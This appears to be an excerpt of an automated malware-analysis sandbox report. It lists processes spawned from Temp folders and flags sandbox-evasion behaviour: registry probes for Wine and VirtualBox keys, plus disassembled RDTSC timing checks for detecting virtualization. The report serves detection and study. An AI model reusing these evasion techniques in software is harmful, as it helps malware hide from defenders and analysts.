Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60EFE6 second address: 60EFEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60EFEA second address: 60EFF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60EFF0 second address: 60E904 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B9931199h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov dword ptr [ebp+122D37DEh], ebx 0x00000012 push dword ptr [ebp+122D1599h] 0x00000018 jbe 00007FE8B9931195h 0x0000001e call dword ptr [ebp+122D2E92h] 0x00000024 pushad 0x00000025 jng 00007FE8B993118Ch 0x0000002b jnl 00007FE8B9931187h 0x00000031 xor eax, eax 0x00000033 mov dword ptr [ebp+122D24CDh], eax 0x00000039 mov edx, dword ptr [esp+28h] 0x0000003d mov dword ptr [ebp+122D1C7Fh], eax 0x00000043 mov dword ptr [ebp+122D2893h], eax 0x00000049 jl 00007FE8B993118Ch 0x0000004f sub dword ptr [ebp+122D24CDh], ebx 0x00000055 mov esi, 0000003Ch 0x0000005a clc 0x0000005b add esi, dword ptr [esp+24h] 0x0000005f pushad 0x00000060 sbb edi, 5DCEAD57h 0x00000066 popad 0x00000067 lodsw 0x00000069 jmp 00007FE8B9931196h 0x0000006e add eax, dword ptr [esp+24h] 0x00000072 cmc 0x00000073 mov ebx, dword ptr [esp+24h] 0x00000077 clc 0x00000078 nop 0x00000079 push ecx 0x0000007a jl 00007FE8B9931188h 0x00000080 push edi 0x00000081 pop edi 0x00000082 pop ecx 0x00000083 push eax 0x00000084 pushad 0x00000085 push eax 0x00000086 push edx 0x00000087 pushad 0x00000088 popad 0x00000089 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78F5EE second address: 78F5F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78F763 second address: 78F787 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B993118Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c pushad 0x0000000d popad 0x0000000e pop eax 0x0000000f push edx 0x00000010 jc 00007FE8B9931186h 0x00000016 pop edx 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78F933 second address: 78F94F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B8D1B412h 0x00000007 jc 00007FE8B8D1B406h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78F94F second address: 78F954 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78FC84 second address: 78FCDB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B8D1B415h 0x00000007 js 00007FE8B8D1B406h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jnc 00007FE8B8D1B40Eh 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FE8B8D1B413h 0x0000001d pushad 0x0000001e jmp 00007FE8B8D1B40Ah 0x00000023 pushad 0x00000024 popad 0x00000025 jg 00007FE8B8D1B406h 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78FE5A second address: 78FE60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78FE60 second address: 78FE85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE8B8D1B40Ah 0x00000008 jmp 00007FE8B8D1B416h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7918BF second address: 7918C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7918C5 second address: 60E904 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 57A8AA00h 0x0000000f mov dword ptr [ebp+122D1B78h], ecx 0x00000015 push dword ptr [ebp+122D1599h] 0x0000001b sub dword ptr [ebp+122D185Ch], ecx 0x00000021 call dword ptr [ebp+122D2E92h] 0x00000027 pushad 0x00000028 jng 00007FE8B8D1B40Ch 0x0000002e jnl 00007FE8B8D1B407h 0x00000034 clc 0x00000035 xor eax, eax 0x00000037 mov dword ptr [ebp+122D24CDh], eax 0x0000003d mov edx, dword ptr [esp+28h] 0x00000041 mov dword ptr [ebp+122D1C7Fh], eax 0x00000047 mov dword ptr [ebp+122D2893h], eax 0x0000004d jl 00007FE8B8D1B40Ch 0x00000053 sub dword ptr [ebp+122D24CDh], ebx 0x00000059 mov esi, 0000003Ch 0x0000005e clc 0x0000005f add esi, dword ptr [esp+24h] 0x00000063 pushad 0x00000064 sbb edi, 5DCEAD57h 0x0000006a popad 0x0000006b lodsw 0x0000006d jmp 00007FE8B8D1B416h 0x00000072 add eax, dword ptr [esp+24h] 0x00000076 cmc 0x00000077 mov ebx, dword ptr [esp+24h] 0x0000007b clc 0x0000007c nop 0x0000007d push ecx 0x0000007e jl 00007FE8B8D1B408h 0x00000084 push edi 0x00000085 pop edi 0x00000086 pop ecx 0x00000087 push eax 0x00000088 pushad 0x00000089 push eax 0x0000008a push edx 0x0000008b pushad 0x0000008c popad 0x0000008d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 791BE3 second address: 791C37 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B993118Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jp 00007FE8B9931194h 0x00000013 mov eax, dword ptr [eax] 0x00000015 pushad 0x00000016 jl 00007FE8B9931196h 0x0000001c jmp 00007FE8B9931190h 0x00000021 pushad 0x00000022 push ebx 0x00000023 pop ebx 0x00000024 jl 00007FE8B9931186h 0x0000002a popad 0x0000002b popad 0x0000002c mov dword ptr [esp+04h], eax 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 791C37 second address: 791C3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 791C3B second address: 791C45 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE8B9931186h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 791C45 second address: 791C5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE8B8D1B416h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 791D46 second address: 791DDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jnp 00007FE8B993118Eh 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push ecx 0x00000013 call 00007FE8B9931188h 0x00000018 pop ecx 0x00000019 mov dword ptr [esp+04h], ecx 0x0000001d add dword ptr [esp+04h], 0000001Ch 0x00000025 inc ecx 0x00000026 push ecx 0x00000027 ret 0x00000028 pop ecx 0x00000029 ret 0x0000002a mov ecx, dword ptr [ebp+122D292Fh] 0x00000030 mov dh, CEh 0x00000032 push 00000000h 0x00000034 add dword ptr [ebp+122D1A81h], eax 0x0000003a call 00007FE8B9931189h 0x0000003f pushad 0x00000040 jbe 00007FE8B993118Ch 0x00000046 jmp 00007FE8B9931198h 0x0000004b popad 0x0000004c push eax 0x0000004d jmp 00007FE8B9931194h 0x00000052 mov eax, dword ptr [esp+04h] 0x00000056 push edi 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 791DDF second address: 791DE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 791DE3 second address: 791E1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007FE8B993118Eh 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jp 00007FE8B993119Fh 0x0000001a jmp 00007FE8B9931199h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 791E1F second address: 791ECB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+122D2AA7h] 0x0000000f sub dword ptr [ebp+122D284Ah], edx 0x00000015 push 00000003h 0x00000017 mov esi, dword ptr [ebp+122D29F3h] 0x0000001d push 00000000h 0x0000001f mov edx, dword ptr [ebp+122D19E6h] 0x00000025 push 00000003h 0x00000027 push 00000000h 0x00000029 push ebx 0x0000002a call 00007FE8B8D1B408h 0x0000002f pop ebx 0x00000030 mov dword ptr [esp+04h], ebx 0x00000034 add dword ptr [esp+04h], 00000018h 0x0000003c inc ebx 0x0000003d push ebx 0x0000003e ret 0x0000003f pop ebx 0x00000040 ret 0x00000041 mov ecx, dword ptr [ebp+122D2AE3h] 0x00000047 call 00007FE8B8D1B409h 0x0000004c pushad 0x0000004d jng 00007FE8B8D1B408h 0x00000053 pushad 0x00000054 popad 0x00000055 jnc 00007FE8B8D1B40Ch 0x0000005b popad 0x0000005c push eax 0x0000005d jmp 00007FE8B8D1B40Fh 0x00000062 mov eax, dword ptr [esp+04h] 0x00000066 jmp 00007FE8B8D1B414h 0x0000006b mov eax, dword ptr [eax] 0x0000006d push eax 0x0000006e push edx 0x0000006f jmp 00007FE8B8D1B414h 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B2123 second address: 7B2127 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B2127 second address: 7B2164 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FE8B8D1B406h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edi 0x0000000d pushad 0x0000000e push ebx 0x0000000f jng 00007FE8B8D1B406h 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FE8B8D1B40Fh 0x0000001d jmp 00007FE8B8D1B416h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B2164 second address: 7B2180 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B9931198h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B2180 second address: 7B21BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FE8B8D1B412h 0x0000000c jmp 00007FE8B8D1B40Ch 0x00000011 jmp 00007FE8B8D1B418h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B2305 second address: 7B2323 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FE8B9931188h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FE8B993118Dh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B2323 second address: 7B2344 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FE8B8D1B419h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B2344 second address: 7B2374 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jbe 00007FE8B9931186h 0x00000009 pushad 0x0000000a popad 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE8B9931198h 0x00000013 jmp 00007FE8B993118Ah 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B248E second address: 7B2492 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B2492 second address: 7B249C instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE8B9931186h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B286B second address: 7B2871 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B2871 second address: 7B2875 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B2C8B second address: 7B2C90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B2C90 second address: 7B2C95 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B31AF second address: 7B31B9 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE8B8D1B40Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A65A8 second address: 7A65AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A65AC second address: 7A65B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B3302 second address: 7B3329 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007FE8B993118Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007FE8B993118Fh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B3329 second address: 7B333B instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE8B8D1B406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jno 00007FE8B8D1B408h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B38C2 second address: 7B38C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B38C6 second address: 7B38E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FE8B8D1B411h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BA648 second address: 7BA64F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B9701 second address: 7B970B instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE8B8D1B40Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A298 second address: 78A29C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF005 second address: 7BF009 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF009 second address: 7BF00F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF728 second address: 7BF73B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007FE8B8D1B406h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF73B second address: 7BF74E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE8B993118Bh 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF74E second address: 7BF754 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF754 second address: 7BF75A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF75A second address: 7BF763 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF763 second address: 7BF767 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF898 second address: 7BF89E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF89E second address: 7BF8B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a jp 00007FE8B9931186h 0x00000010 pop eax 0x00000011 pushad 0x00000012 push eax 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF8B4 second address: 7BF8CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE8B8D1B413h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0374 second address: 7C0378 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
